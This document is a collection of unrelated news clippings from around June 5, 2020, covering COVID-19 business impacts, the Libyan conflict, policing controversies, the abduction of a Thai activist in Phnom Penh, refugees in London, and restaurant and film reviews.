'I understand from my engagement with local Aboriginal community members that there is a sense of frustration that it takes a death of a black American to highlight the experience of the Aboriginal community here in Australia,' he said.

'The events in America certainly do give us an opportunity to reflect on our own community.'

Police are also on high alert for counter-protests being held in the city, and the potential for protesters to turn on officers.
Metro Manila (CNN Philippines, June 5)  Food and lifestyle smartphone application Booky has launched its program to support businesses affected by the COVID-19 pandemic in the country.

In an interview with CNN Philippines Rico Hizon on Friday, Booky founder and chief executive officer Ben Wintle recognized the magnitude of the pandemics impact to restaurants and lifestyle shops.

These businesses in the country stopped their operations for two months, when the national government placed the country under enhanced community quarantine due to COVID-19 and implemented strict stay-at-home orders.

The numbers are quite straightforward, its obviously been bad for restaurants and lifestyle service businesses. Half of restaurants have seen zero revenue and the other half less than 20 percent revenue of what they would get in the same period last year, said Wintle.

Wintle also noted that half of the restaurant and lifestyle service businesses in the country implemented massive pay cuts and some had employee layoffs.

The reality in the food and lifestyle sector led Wintle to start #SupportPH, which will help establishments cope with the economic consequences of the pandemic.

By purchasing a voucher, we are providing much needed cash flow to these local businesses, to help them with their payroll and employees, and eventually to put food on the table of their families, added Wintle.

Wintle explained that Bookys #SupportPH initiative is needed for businesses due to the slow consumer demand.

But Wintle was pleased that malls and other commercial establishments are allowed to gradually reopen as most parts of the country are now in a more relaxed general community quarantine (GCQ) setting or modified GCQ.

READ: Restaurant dine-in operations can now resume in MGCQ areas, but no buffets

My prediction is that consumer demand will come back very gradually, said Wintle.

Users of the Booky app can contribute to the #SupportPH initiative by buying vouchers for themselves and for their loved ones or friends.

Most Booky #SupportPH vouchers also offer huge discounts on food and lifestyle services and are valid up to three months after the shops reopen, Wintle added.
Forces loyal to Libya's internationally recognised government said on Friday they had entered Tarhouna near Tripoli, depriving the Libyan Arab Armed Forces (LAAF) of their last major stronghold in the west of the country, Reuters and AFP reported.

"Our heroic forces have extended their control over the whole of Tarhuna," said Mohamad Gnounou, spokesman for the Government National Accord (GNA).

The GNA was already buoyed by the recapture of the whole of greater Tripoli, according to AFP.

There was no immediate comment from the LAAF on whether its forces remained in the town, a day after they were pushed from their last positions in the capital.

The LAAF have confirmed their "redeployment" away from the Libyan capital following the UN-recognised government's announcement it is back in full control on Thursday.

The GNA said it had retaken the whole of Greater Tripoli, thanks to Turkish support.

The recapture of the international airport in Tripoli -- long out of use -- is the strongest symbolic victory for the Libyan government so far, reported the BBC's Arab affairs editor, Sebastian Usher.

LAAF spokesman Ahmad Al-Mesmari said the redeployment was a "humanitarian gesture intended to spare the Libyan people further bloodshed."

Hundreds have been killed and 200,000 more driven from their homes since the Tripoli battle began in April last year, when commander Khalifa Haftar, a leader of LAAF, vowed to "cleanse" the capital of the "terrorist militias" he said dominated the GNA.

Mesmari said the redeployment was also intended to give a boost to the work of an UN-backed military commission tasked with shoring up a nationwide ceasefire.

"We announce that we are redeploying our forces outside Tripoli on condition that the other side respect the ceasefire," he said in a statement released late Thursday.

"If they do not respect it, we will resume military operations and suspend our participation in the negotiations of the military committee."

The United Nations' Libya mission said Tuesday that after a three-month suspension, the warring parties had agreed to resume ceasefire talks.

A military commission made up of five GNA loyalists and five LAAF delegates held talks in February, but the dialogue was suspended.

A new diplomatic effort is under way to try to restart talks on a lasting ceasefire in the oil-rich nation, according to BBC.

In comments on Thursday, Egyptian Foreign Minister Sameh Shoukry slammed Turkey for sending foreign fighters from Syria to Libya.

In a video address to a meeting of the Global Coalition to Defeat ISIS, Shoukry warned that the success achieved over the foreign fighters in Syria and Iraq by the coalition is threatened by the role the Turkish government is currently playing in terms of recruiting, training and transferring thousands of foreign fighters from Syria to Libya.

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VANCOUVER, BC, June 5, 2020 /PRNewswire/ - Copper Mountain Mining Corporation (TSX: CMMC) (ASX: C6C) ("Copper Mountain" or the "Company") announces today that owing to the COVID-19 global pandemic, it intends to delay the filing of its statement of executive compensation as otherwise required by subsections 9.3.1(2) and (2.2) of National Instrument 51-102 - Continuous Disclosure Obligations in reliance on British Columbia Instrument 51-516 - Temporary Exemptions from Certain Requirements to File or Send Securityholder Materials of the British Columbia Securities Commission. The Company expects to include its statement of executive compensation in its management information circular in connection with its 2020 annual general meeting. As announced on April 3, 2020 the Company is planning on holding its 2020 Annual General Meeting on September 9, 2020. Further details on the event will be communicated via news release and in the filing of the notice of meeting, as required.

About Copper Mountain Mining Corporation:

Copper Mountain's flagship asset is the 75% owned Copper Mountain mine located in southern British Columbia near the town of Princeton. The Copper Mountain mine currently produces on average approximately 90 million pounds of copper equivalent annually. Copper Mountain also has the permitted, development-stage Eva Copper Project in Queensland, Australia and an extensive 4,000 km2 highly prospective land package in the Mount Isa area. Copper Mountain trades on the Toronto Stock Exchange under the symbol "CMMC" and Australian Stock Exchange under the symbol "C6C".

Additional information is available on the Company's web page at www.CuMtn.com.

On behalf of the Board of

COPPER MOUNTAIN MINING CORPORATION

"Gil Clausen"

Gil Clausen, P.Eng.

Chief Executive Officer



Cautionary Note Regarding Forward-Looking Statements

This news release may contain forward-looking statements and forward-looking information (together, "forward-looking statements") within the meaning of applicable securities laws. All statements, other than statements of historical facts, are forward-looking statements. Generally, forward-looking statements can be identified by the use of terminology such as "plans", "expects", "estimates", "intends", "anticipates", "believes" or variations of such words, or statements that certain actions, events or results "may", "could", "would", "might", "occur" or "be achieved". Forward-looking statements involve risks, uncertainties and other factors that could cause actual results, performance and opportunities to differ materially from those implied by such forward-looking statements. Factors that could cause actual results to differ materially from these forward-looking statements include the successful exploration of the Company's properties in Canada and Australia, the reliability of the historical data referenced in this press release and risks set out in Copper Mountain's public documents, including in each management discussion and analysis, filed on SEDAR at www.sedar.com. Although Copper Mountain believes that the information and assumptions used in preparing the forward-looking statements are reasonable, undue reliance should not be placed on these statements, which only apply as of the date of this news release, and no assurance can be given that such events will occur in the disclosed time frames or at all. Except where required by applicable law, Copper Mountain disclaims any intention or obligation to update or revise any forward-looking statement, whether as a result of new information, future events or otherwise.

SOURCE Copper Mountain Mining Corporation

Related Links

www.CuMtn.com


Vietnamese fruit exporters are struggling since air freight costs are surging due to the limited number of flights amid the Covid-19 pandemic.

Global Fresh Fruit Company Ltd of Ben Tre Province has seen exports fall by half in the last two months despite high demand from overseas buyers. Its CEO, Phung Van Hien, said logistics companies are demanding two to four times the freight they did at the end of 2019.

Rates for shipping to the Middle East have surged from $1.5-1.8 per kilogram to $6, and freight to Australia has also increased, he said.

Nguyen Dinh Tung, CEO of Vina T&T, one of the largest Vietnamese exporters of fruits to the U.S., told local media the cost of shipping has increased from the regular $3.2. to $5.4. He blamed it on the limited number of international flights yet.

The Vietnam Fruit and Vegetables Association (Vinafruit) said the pandemic has caused a major challenge to Vietnams export of fruits, pointing out that the number of flights to the U.S. and Australia has dropped from 30 per week earlier to 10 now.

Vietnams fruit exports this year are down 21 percent to $1.1 billion, according to the Ministry of Agriculture and Rural Development.

Exporters have been turning to shipment by sea, but this is only suitable for fruits that do not perish soon like coconut, durian and dragon fruit. Fruits such as longan and lychee cannot endure long shipping durations.

Exports of vegetables and fruits were worth $3.7 billion last year, with China being the largest buyer, according to the ministry.
New Delhi, June 5 : In a scathing attack on the government on the state of public health during the coronavirus pandemic, the Congress alleged that the government failed in providing health care to its citizens.

It said that even the "Gujarat Model" has been exposed.

Former Union minister Kapil Sibal said while addressing a press conference that the government health sector is depended on "2G - 'Gobar' and 'Gaumutra'." "Before March 24 whenever there was any discussion on health we only heard about Gobar (cow dung) and Gaumutra (cow urine) their '2G' in the health sector is based on Gaumutra and Gobar." "The alliance partner of NDA says 'Go Corona'," said Sibal, lashing out at Union minister Ramdas Athwale who was heard chanting 'Go Corona' in various videos.

"What kind of scientific thought is this? Is this how we will make ourselves self-reliant? By using 2G which is Gobar and Gaumutra for scientific research? That cannot be the kind of public discourse that we are having," added Sibal.

Sibal was questioning the government on the announcement of self reliance package and said this is a new slogan. He alleged that 40 per cent of all active pharmaceutical ingredients are imported from China and we have imported Rs 249 billion worth of such ingredients in 2019.
Ayaan shares one bedroom with her seven children. Malek is couchsurfing and barely eats one meal a day. Ali suffers from tuberculosis and lies awake at night anxious for the family he left behind.

Refugees and asylum seekers have told The Independent of the suffering  including coping with hunger  the coronavirus pandemic has brought as they try to rebuild their lives in London.

Malek, a science teacher who escaped torture in Ivory Coast after attending a pro-democracy demonstration, regularly goes to bed hungry. I was happy when Ramadan came because I was fasting and had to eat less, he said. On the day he spoke to The Independent, the only thing he had had to eat was rice with peanut sauce.

Help Refugees estimates that there are more than 5,000 asylum seekers in London, many struggling to access enough food. Josie Naughton, its co-founder, said: We are hearing that refugees and asylum seekers are feeling even more isolated since the pandemic. Asylum seekers can be heavily reliant on food banks, which are under strain.

Maleks asylum claim was rejected by the Home Office and he has appealed. He is struggling with money while staying with friends. A charity brings him vegetables and canned food each week, but its not really enough, he said.

Recommended How to support our campaign

After an initial screening, asylum seekers are entitled to temporary accommodation and a budget of 5 a day. If their claim is rejected, they have to rely on the support of charities like Freedom from Torture, the non-profit organisation that is helping Malek. They do not have the right to work or claim universal credit.

The Independent brought Maleks situation to the attention of the Refugee Community Kitchen in Brixton  supplied by our Help The Hungry appeal partner, The Felix Project  and it has organised for him to receive a weekly food parcel. In the case of Ayaan, it was the Somali Civil War that brought her to Britain in 1990. She received asylum and is applying for indefinite leave to remain, but she has struggled during lockdown to provide for her seven children. There were many times we had no food and I had to pretend that nothing was wrong, she said over FaceTime.

She lives in north London and is supported by the Barnet Refugee Service, whose pop-up food bank serving 220 clients is also supplied by The Felix Project. You can imagine when you have kids stuck at home and you dont have much to provide them, she said. In her food packages, she receives bread, rice, meat and laundry detergent. It means everything.

Ali, 49, arrived five months ago from Syria and applied for asylum on arrival. Due to a spell sleeping rough, he suffers with latent tuberculosis which could make him vulnerable to Covid-19. He lives in shared temporary accommodation with four other asylum seekers and struggles with the uncertainty of waiting for his asylum interview.

The Home Office has not conducted any substantive asylum interviews since mid-March, leaving many people in limbo. A Home Office spokesperson said: We have a proud record of supporting asylum seekers and during the pandemic we have taken action to ensure their wellbeing is maintained. We have also adjusted asylum processes, including bringing in online video interviews, where appropriate.

But Ali said he struggled to feed himself on his shoestring 5-a-day budget and that the Felix-supplied food he received from Barnet Refugee Service had saved his life. Coronavirus gave me problems because I cant go to the supermarket. I would die without this food.

Recommended Home Office facing legal challenge over asylum support during pandemic

Farida Stanikzai, operations manager at Barnet Refugee Service and herself a former refugee, said that her organisation was supporting 150 children (of whom 85 were unaccompanied) with education and food parcels.

Ali, who was a doctor back home, is despairing, having heard nothing from the Home Office. Nobody cares about us, he said.

Ms Stanikzai attempted to reassure him. Better days will come.

Some names have been changed.

The Independent is encouraging readers to help groups that are trying to feed the hungry during the crisis  find out how you can help here. Follow this link to donate to our campaign in London, in partnership with the Evening Standard.
June 05 : Chintu Ka Birthday

Cast: Vinay Pathak, Tillotama Shome, Vedant Raj Chibber, Bisha Chaturvedi, Seema Pahwa, Khalid Massou, Mehroos Ahmed Mir, Reginald L Barnes, Nathan Scholz

Direction: Devanshu Kumar and Satyanshu Singh

Rating: * * * and 1/2 (three and a half stars)

By Vinayak



Chakravorty Chintu is six and it is his birthday. There are balloons and festoons all around in the house. Daddy has promised cake, though 'daadi' would love it if he had kheer. His best friends will be there, too. Chintu understands today is his day. He is the special one.

What he doesn't understand is all that's going on in the lane outside, and in the city. There are explosions. The bakery is shut because the baker was shot, and a few children, he gets to know, have apparently barged in and are feasting on cakes. His parents are tense because his elder sister has not yet returned from school, though school was declared shut a while ago.

Chintu's world is simple -- one of cakes and buddies and school. The world outside, and whatever is going on, is infinitely more complex, he gathers. For, Chintu and his folks are expatriates from Bihar in Iraq of 2004. His father is a salesman of water purifiers in Baghdad at a time Saddam Hussain has been captured and is awaiting trial. The 'Amreeka waale uncle' he sees on TV (refers to President George W. Bush) won't call his soldiers back.

"Chintu Ka Birthday" introduces its premise with the above backgrounder in the opening portions, before a sudden spin in the tale gets the story racing. In just 83 minutes, debutant writer-directors Devanshu Kumar and Satyanshu Singh narrate a story that is at once an account of harrowing wartime through an innocent's eyes, and a taut suspense drama that justifies every second written into its runtime.

Kumar and Singh have set up their film entirely within a single apartment. It involves barely 10 characters. Camera and sound effects are impressively functional, devoid of technical gloss. The storytelling never wavers from a linear track.

For those reason, "Chintu Ka Birthday" is a writers' effort. Its triumph lies in the way it's the narrative is structured, the twists are introduced and, importantly, the characters are imagined.

This is the story of a family of lower-middle class Bihari emigrants stranded in war-torn Baghdad with a certain technicality having made their chances of returning to India rather bleak. Chintu's birthday becomes a bona fide reason for the family to forget their woes and be happy -- at least for a day. Except, as the film reminds, the happiness in one's home cannot be in exclusion of the state of his world outside.

The screenplay is incredible in the way it balances nuanced relationship subtexts with the larger socio-political context in such a short runtime. For Chintu's father Madan (Vinay Pathak), arranging a cake for his little boy is as much a matter of life and death as proving his innocence in the unwarranted jam he will subsequently land in. The mother (Tillotama Shome) has her own worries -- trying to put up a semblance of normalcy for her kids as things become tense. Each character is well etched-out, each role flawlessly enacted.

While the grown-up cast couldn't have done better, little Vedant Raj Chibber as Chintu is worth an applause for the way he uses silent gaze to convey a gamut of emotions. The junior cast is particularly impressive. Mehroos Ahmed Mir as Chintu's spunky Iraqi pal Waheed and Bisha Chaturvedi as his elder sister Lakshmi are a delight to watch.

Imperfections? You could feel a bit let down by the film's obvious insistence to find a feel-good ending that might seem a tad unrealistic given the reality of war surrounding the plot. Or you could just gloss over that glitch considering this film is, after all, about reasserting the little hopes of life.

(Vinayak Chakravorty can be reached at vinayak.c@ians.in)

-- Syndicated from IANS
But Drake Booker, who was president of Bogan High Schools LSC for four years until last spring, said school-based officers can build rapport with students and are equipped to handle situations like fights in ways teachers cant. If a student indicated feeling less safe with an officer in a school, he would ask why and take their comment into consideration. Maybe a particular officer isnt a good fit for the school, but police presence can safeguard students, Booker said.
IQALUIT, Nunavut - A man who was arrested by being knocked over by a police vehicle was later beaten by another prisoner in lockup because there was no room to house all inmates separately, say Nunavut RCMP.

Hey there, time traveller!

This article was published 4/6/2020 (595 days ago), so information in it may no longer be current.

The RCMP logo is seen outside Royal Canadian Mounted Police "E" Division Headquarters, in Surrey, B.C., on Friday April 13, 2018. Nunavut RCMP say a man who was arrested after being knocked over by a police vehicle was beaten up by another prisoner in lockup because there was no room to house the prisoners separately. THE CANADIAN PRESS/Darryl Dyck

IQALUIT, Nunavut - A man who was arrested by being knocked over by a police vehicle was later beaten by another prisoner in lockup because there was no room to house all inmates separately, say Nunavut RCMP.

The arrest drew widespread criticism when video released on social media showed the man, apparently intoxicated, was knocked down by an officer with the door of a slowly moving police pickup truck.

"When you have a racial divide between your police officers and the communities they serve, and a history of colonization, it's not surprising that you see these kinds of issues arise," said Benson Cowan, head of Nunavut's legal aid society.

In a news release, Nunavut RCMP describe a busy Monday afternoon in Kinngait, formerly Cape Dorset, on the southern tip of Baffin Island.

Just before the arrest, the three on-duty officers were joined by two officers called out to help deal with an ongoing weapons complaint. When the man was brought back to the detachment's four cells, he joined seven others, "all of whom were intoxicated," the release says.

One cell held four men, another held an "extremely agitated" man while the other two held women who had been separated because they were fighting. One of the women was released to make room for the new prisoner.

However, he was joined later that night by a fresh arrestee as RCMP members continued to respond to a backlog of calls created by the weapons incident. A fight broke out.

Police said the guard immediately contacted officers, who returned to the lockup as soon as possible.

"Unfortunately the male in the video was injured as a result of the assault and later flown to Iqaluit for further medical treatment," police said.

The second prisoner has been charged with aggravated assault. The man knocked over by the police vehicle was never charged with anything.

The arresting officer has been removed from the community and the arrest is under investigation.

"RCMP continue to work diligently to serve the community of Kinngait in managing the high volume of calls for service while balancing resources and demands placed on the members," said Chief Supt. Amanda Jones, who commands Nunavut RCMP.

But Cowan said the initial apprehension points to wider issues.

"Anyone in Nunavut who has any dealings with the justice system knows that there are larger issues at stake," he said. "It is imperative that the governments of Nunavut, Canada, the RCMP and communities get together and have a serious conversation about the way policing services are delivered."

Iqaluit lawyer Lori Idlout, who has a long background in social work, said police should already know what they have to do. Reports from the Missing and Murdered Indigenous Women and Girls inquiry and the Qikiqtani Inuit Association are full of good ideas.

"The RCMP needs to stop ignoring the recommendations," she said.

The force should bring back special constables, she said  local, trained people who work with RCMP in crime prevention.

"As difficult as it might be to be hopeful, I think we have to be," she said.

Nunavut Justice Minister Jeannie Ehaloak said she was outraged by the arrest. A growing list of leaders want the force to put body cameras on its members.

RCMP in the North face at least two lawsuits over their treatment of Indigenous people. In January, the national organization of Inuit women released a report saying Indigenous northerners face "systemic racialized policing."

This report by The Canadian Press was first published June 4, 2020

 By Bob Weber in Edmonton. Follow him on Twitter at @row1960
A protester places a rose in front of a picture of Wanchalearm Satsaksit, 37, a Thai political activist who apparently was abducted by unknown gunmen in front of his Phnom Penh apartment, during a rally in Bangkok, June 5, 2020.

A Thai political activist was snatched from the streets of Cambodias capital in broad daylight, human rights groups alleged on Friday, as they urged authorities to investigate the case amid a spate of abductions of Thai exiles in Southeast Asian countries.

In Bangkok, a spokesman for Thai national police said the agency was not involved in the disappearance in Phnom Penh of Wanchalearm Satsaksit, 37, while Cambodian police on Friday dismissed the report of his abduction as fake news.

The activist who had fled to Cambodia from Thailand, where he was wanted by authorities, apparently was abducted by gunmen on Thursday afternoon as he talked to his sister on a phone, she told BenarNews, adding he said that he couldnt breathe as their call ended abruptly.

The Cambodian authorities must urgently investigate Wanchalearms alleged abduction in order to establish his whereabouts. The Thai authorities must also confirm whether Wanchalearm was arrested at their request, Amnesty International said in a statement issued Friday.

This would not be the first time that Thai citizens have vanished after expressing their political opinions. Wanchalearm is outspoken on social media  his sudden disappearance in a violent incident is deeply alarming, the London-based watchdog group said.

Krisana Pattanacharoen, deputy spokesman for Thailands national police bureau, said the Thai government was unaware of who was behind the activists alleged kidnapping.

As far as I know, he was wanted for breeching Computer Crimes Act since 2018: [We] dont know who abducted him, Krisana told BenarNews by phone.

In regard to fugitives abroad, the national police bureau cooperates with respective countries to find them. We treat each fugitive equally. It depends on how other countries handle them, Krisana said.

A friend of Wanchalearm who lives in Phnom Penh learned that surveillance footage showed him being abducted from in front of his condominium and being driven away in a black SUV, according to Prachatai, a Thai news portal. Prachatai said a security guard tried to help Wanchalearm, but his kidnappers were armed.

A Cambodian police spokesman denied any knowledge of Wanchalearm being kidnapped and said that since no abduction had taken place, no investigation would be done, according to the Associated Press.

Since this morning I have received about 50 calls asking me about this news but replying to them all the same ... I said this is fake news, untrue news, Gen. Chhay Kim Khouen said.

We dont know about it, so what should we investigate, he told Agence France-Presse separately.

Although Cambodian police said there was no abduction, Ministry of Justice spokesman Chin Malin said authorities in his country were investigating information they had received.

I believe that authorities are investigating on the case. Human rights organizations should not hurry and jump to conclusions over this incident without information and no foundation, he told the Khmer Service of Radio Free Asia (RFA), a sister agency of BenarNews.

Under surveillance

Since a 2014 military coup that toppled the elected government of Yingluck Shinawatra, at least 104 people have fled Thailand over fears of prosecution, according to the Thai Lawyers for Human Rights, a local NGO.

At least 98 people were charged with violating the strict royal defamation law known as Lese-Majeste, and 119 others were charged with sedition, according to iLaw, an online legal advocate group. Authorities also have filed charges under the Computer Crimes Act.

New York-based Human Rights Watch (HRW) said Wanchalearm was charged under the act for allegedly operating a Facebook page in Cambodia critical of the Thai government.

The abduction of a prominent Thai political activist on the streets of Phnom Penh demands an immediate response from Cambodian authorities, Brad Adams, the groups Asia director, said in a statement Friday. The Cambodian government should urgently act to locate Wanchalearm and ensure his safety.

HRW accused Cambodia and Thailand of collaborating to harass, arbitrarily arrest and forcibly return exiled dissidents in violation of international law. It said Wanchalearm previously told HRW officials that he occasionally had been put under surveillance by Thai officials in Cambodia.

'Line cut off'



The activists sister, Sitanan Satsaksit, said she regularly talked to him. Their last call occurred around 5 p.m. Thursday.

While I was talking with my younger brother, Ta (his nickname) screamed: Argh! Cant breathe, and then we had the line cut off, she told BenarNews.

Sitanan said she was concerned that Wanchalearm had become less careful during his time in Phnom Penh, and that may have led to his abduction.

I talked to him every day on general life matters and business. I told him to stop talking politics and just focus on business. It seemed he followed my advice, but he became less cautious, she said.

Wanchalearm has been identified by HRW as a prominent pro-democracy activist affiliated with the United Front for Democracy against Dictatorship (UDD), known as the Red Shirts. He founded the Facebook page Ku Tong Dai 100 Lan Jak Thaksin Nae (I must get 100 million baht from Thaksin for sure).

The Facebook pages posting on June 3 used derogatory language to criticize Prime Minister Prayuth Chan-o-cha, the former army chief who led the 2014 coup that overthrew Yinglucks government.

Thaksin refers to Thaksin Shinawatra, the billionaire former Thai prime minister who leads the Red Shirts and who like his sister, Yingluck, was driven from office by a military coup.

Anti-monarchists

The Thai Lawyers for Human Rights reported that anti-monarchists aligned with Thaksin and his family had fled Thailand over the years, with some ending up in Laos and Vietnam as well, adding that with this latest disappearance, at least nine had gone missing or been found dead.

HRW identified three people who went missing in Laos and were found dead in the Mekong River  Itthipol Sukpaen, who was last seen in June 2016, Wuthipong Kachathamakul, who was last seen in July 2017, and Surachai Danwattananusorn who was last seen in 2018.

In early 2018, the dismembered bodies of Surachais associates  Chatcharn Buppawan, 56, and Kraidej Luelert, 46  were found in the river which separates Thailand and Laos, according to Thai police.

HRW said Thai police had reported that the bodies hands and feet were bound and their faces smashed beyond recognition. They also both had been disemboweled and stuffed with concrete.

Surachais fate is not known, his wife said.
The President of Ghana Union of Traders Association (GUTA), Dr. Joseph Obeng has urged the Government to consider the fight against poverty as they put in comprehensive measures to fight COVID-19.

He said, in Africa, people have witnessed several diseases as well as poverty and have realised that poverty is bitter.

"I will urge the government to consider fighting against poverty too. In this part of the world (Africa), people have suffered from several sicknesses and poverty but have realised poverty is far bitter. Yes, the government has given out stimulus package which is a laudable initiative but more needs to be done so our own won't go hungry".

Speaking on easing of restrictions on social gatherings, he applauded the government for taking that bold decision and believes the presidents decision to ease restrictions was as a result of information health officials and advisers considered with roots on comprehensive analysis. Besides, we can't lock ourselves down forever, even most affected countries are lifting restrictions. I think it's a good thing to do now".

Additionally, he said the authorities have realised that the country can not eradicate it all before we resume our normal lives, hence we should all adhere to government directives.

Ghana has demonstrated a holistic way of fighting against COVID-19 and we must applaud the president and other stakeholders for their tremendous work so far. Stigmatization would not help in this crucial moment, rather, be each other's keeper and show love. that's the only way surest way to bounce back as a country Dr. Obeng noted.
Dont bother looking for vineyards on your approach to Vara Winery & Distillery in the North Valley. Unlike local wineries such as Casa Rondena and Gruet, Vara doesnt generally grow its grapes in New Mexico. Instead, it makes most of its wine in Spain and finishes it in Albuquerque, aging, blending and bottling it for sale at its tasting room and in area stores and restaurants. It recently began selling a wine made in New Mexico.

Its a journey that symbolically echoes that of New Mexicos first vintners, Spanish monks who took cuttings from their native country and planted them in the Rio Grande Valley more than 400 years ago.

Vara is a collaboration between former wine distributor Doug Diefenthaler and Xavier Zamarripa, an artist whose first attempt to launch a winery failed due to opposition from his North Valley neighbors. The pair opened Vara in 2018 with an eye to eventually moving the operation to a $15 million vineyard and hospitality center in the works on Fourth NW near Sandia Lakes.

Diefenthaler and Zamarripa obviously have a sense of history. They named their winery for the silver-headed canes given by the administration of Abraham Lincoln to pueblo governors as a symbol of Native American sovereignty.

Vara occupies a tranquil spot off Alameda just west of the Balloon Fiesta Park entrance. The tasting room menu features more than a dozen wines. Prices are modest, starting at $17 for a bottle of rosado, Spanish pink wine, and topping out at $32 for Vina Cardinal ($32), an aperitif Vara rolled out in February as its first 100% New Mexico wine. Spirits include three brandies and Taylor Garrett whiskey ($53), a local label distilled at Vara using technology that speeds the yearslong whiskey aging process to a matter of days.

Accompanying the wines and spirits is a concise menu from chef Javier Montano that includes braised short ribs, chorizo macaroni and cheese and ceviche. Everything is conveniently offered in a small as well as full servings, so you wont break the bank trying a few different dishes.

On Fridays the staff pulls out a couple of shallow pans the circumference of truck tires and makes paella to go ($11 for the small, $18 for the large). Bomba, a pearly colored short-grain rice, is the star of Varas take on this colorful Spanish working-class dish. The rice expands during the cooking process to three times its raw-grain length, enabling it to soak up a lot of flavor without getting sticky.

Part of the fun of eating paella is teasing out goodies such as shellfish and sausage hidden in the clumps of saffron rice. Highlights in Varas version were the succulent chicken thighs and shell-on shrimp. The chorizo, sadly, was barely evident.

Paella pairs well with young, fruity red wines such as Varas 2018 Tempranillo ($18). The name is a diminutive of the Spanish word for early, a reference to the fact that it ripens weeks before most Spanish red grapes. Varas version, with its screw top and minimalist label, is unpretentious, quaffable, and complements the paella with spice and acidity. Its blended with garnacha, a Spanish red that supplies some weight, texture and raspberry flavor to the glass.

The Friday menu also offers a tapas board, ($16/$24) consisting of chorizo, manchego cheese, olives, nuts and toasted bread. While it loses some of its presentation value piled in a box, you can still appreciate the excellent Spanish chorizo, slices of wine-red pork sausage with buttery pockets of fat. The only element missing was something sweet, such as figs or jam.

Varas tasting room is scheduled to reopen June 15. Until then, its easy to swing by and get your weekend started with some takeout paella and a bottle of wine.

VARA WINERY & DISTILLERY

3 stars

LOCATION: 315 Alameda NE, 898-6280, varawines.com

HOURS: 11 a.m.-4 p.m. Sunday-Tuesday; 11 a.m.-8 p.m. Wednesday-Saturday

WINE AND SPIRITS
The Bishops of Colombia express their concerns about the increase in violence and threats against social leaders, human rights activists, indigenous organizations, communal actions, and former FARC members seeking reincorporation in society.

By Vatican News

Responding to a new Report on the situation of violence against social leaders and ex-combatants in the south-east of Colombia, the director of the Colombian Bishops National Secretariat for Pastoral Ministry, Monsignor Hector Fabio Henao Gaviria warned about the urgency of coming out of the state of indifference to the threats faced by social leaders.

Monsignor Henao reiterated the Churchs concern for the increase in violence and threats against social leaders documented in the report, which was published on the website of the Episcopal Conference of Colombia (Conferencia Episcopal de Colombia, CEC). The report shows that situations of violence, including even murders of social leaders and former combatants, has worsened during the first four months of 2020. During that period, eight former FARC combatants and three female social and indigenous leaders have been murdered in the departments of Meta and Vichada.

Areas of concern

The criminalization of social protest is one of the main concerns highlighted in the report. The document denounces the excessive use of force by public security forces against demonstrators. The report also reveals situations of high vulnerability of the indigenous population of the Amazon at risk of ethnocide, due to the lack of efficient health services and recognition of their territories, in addition to direct attacks against the collective rights to territory, autonomy as peoples, and security. Insecurity and armed conflict in various regions have likewise been a cause of concern.

In proposing a path forward, the report says, As a Church, we recognize that reconciliation cannot be reduced to an exclusive exercise of forgiveness and the individual search for peace, but on the contrary, it implies the progressive advancement of peace for all the actors who participate in the life of these territories and social justice.

The call is echoed by Monsignor Henao, who in his statement called for authorities and for all of civil society to recognize the threats experienced by social leaders. He also drew attention to the needs of the indigenous peoples, who face situations of abandonment and vulnerability, not only on account of the Covid-19 pandemic, but also because of the pressures, violence, and intimidation they receive from different sectors of society.

The full text of the Report on the situation of violence against social leaders and ex-combatants in the south-east of Colombia (in Spanish) can be found on the website of the Colombian Bishops Conference, or by following this link .
By Ayya Lmahamad

Azerbaijan has sent financial aid to 90 citizens stranded in Uzbekistan due to the closure of borders amid COVID-19, the State Committee for work with the Diaspora reported on June 5.

Aid has been provided to 90 Azerbaijani citizens temporary residing in Tashkent, Samarkand, Angren, Yangiyul, Karshi and other cities of Uzbekistan with the sport of the State Committee and the Azerbaijani center for National Culture.

Chairman of the Azerbaijan National Cultural center Firdovsi Huseynov stated that the support was provided to 50 citizens who could not return home in time, while 39 employees of local companies that suspended their activities have been provided with temporary housing and living conditions from May 13 to June 10.

Moreover, Huseynov stressed that necessary aid has been provided to low-income Azerbaijani families living in Uzbekistan.

On May 8, 50 Azerbaijani citizens, who could not return from Uzbekistan in time due to the closure of borders, were repatriated by Tel-Aviv-Tashkent-Baku-Tel-Aviv flight.

Over 20.000 citizens have already been repatriated to the country. The citizens have been repatriated from Moscow, Istanbul, Kyiv, Minsk, Iran, Tashkent (Uzbekistan), Riga (Latvia), among others.

Azerbaijan first introduced special quarantine regime on March 24 and the fourth stage of quarantine regime easing came into force May 31.

On June 4 a decision was taken to impose a two-day nationwide quarantine regime in four cities and Absheron region during the upcoming weekend.

As of June 5, Azerbaijan has registered 6.522 COVID-19 cases and 78 coronavirus- related deaths. The total number of recovered patients is 3.737.

---

Follow us on Twitter @AzerNewsAz
Potrero Hill

Firefighters battled the fire through thick smoke. | Screenshot: Jonathan Baxter/SFFD/Citizen

A person was injured in a grass fire that broke out in Potrero Hill this afternoon, prompting the evacuation of nine blocks of the neighborhood.

The fire was first reported at 949 Connecticut St. (at Wisconsin) around 1 p.m., officials said. Driven by the wind, it consumed about two and a half acres of grassland until it was contained just after 2 p.m.

While no structures were damaged by the blaze, neighbors on the surrounding blocks got a scare. At 1:25 p.m., residents on the 100-300 blocks and 1500-1600 of Dakota Street were ordered to evacuate their homes.

At 1:56 p.m., the order was expanded to the 800-900 blocks of Missouri Street and the 1500-1600 blocks of 23rd Street.

A temporary evacuation shelter was created at Dakota and 25th streets, with residents allowed to return to their homes at 2:39 p.m.

Photo: Screenshot

SFFD spokesperson Lt. Jonathan Baxter did not provide information on how the injured person was harmed, though he said that they are an adult and are currently in stable condition.

Aerial footage of the blaze showed thick plumes of smoke fanning out over the city. Baxter noted that the area contained heavy brush and eucalyptus trees, both of which are highly flammable.

UPDATE: Firefighters appear to be gaining the upper hand in the battle against a brush fire in San Francisco's Potrero Hill neighborhood. Watch live aerial coverage: https://t.co/SYk80KUbwa pic.twitter.com/lNuBpAo1Px  NBC Bay Area (@nbcbayarea) June 5, 2020

In response to the fire, the 19-Polk bus line was also rerouted in both directions, the SFMTA said.
Enterprise Florida intends to ramp up marketing and business recruitment during the coming year to try to offset the states record job losses from the coronavirus pandemic.

As it puts together a budget for the fiscal year that starts July 1, the public-private economic development agency is also making an assumption that its employees will be able to go overseas by the final three months of 2020.

The full steam effort to encourage job growth includes a focus on reviving international trade, with the hope of sending a contingent to the Medica Trade Fair in November in Dusseldorf, Germany, if international virus-related travel restrictions are eased.

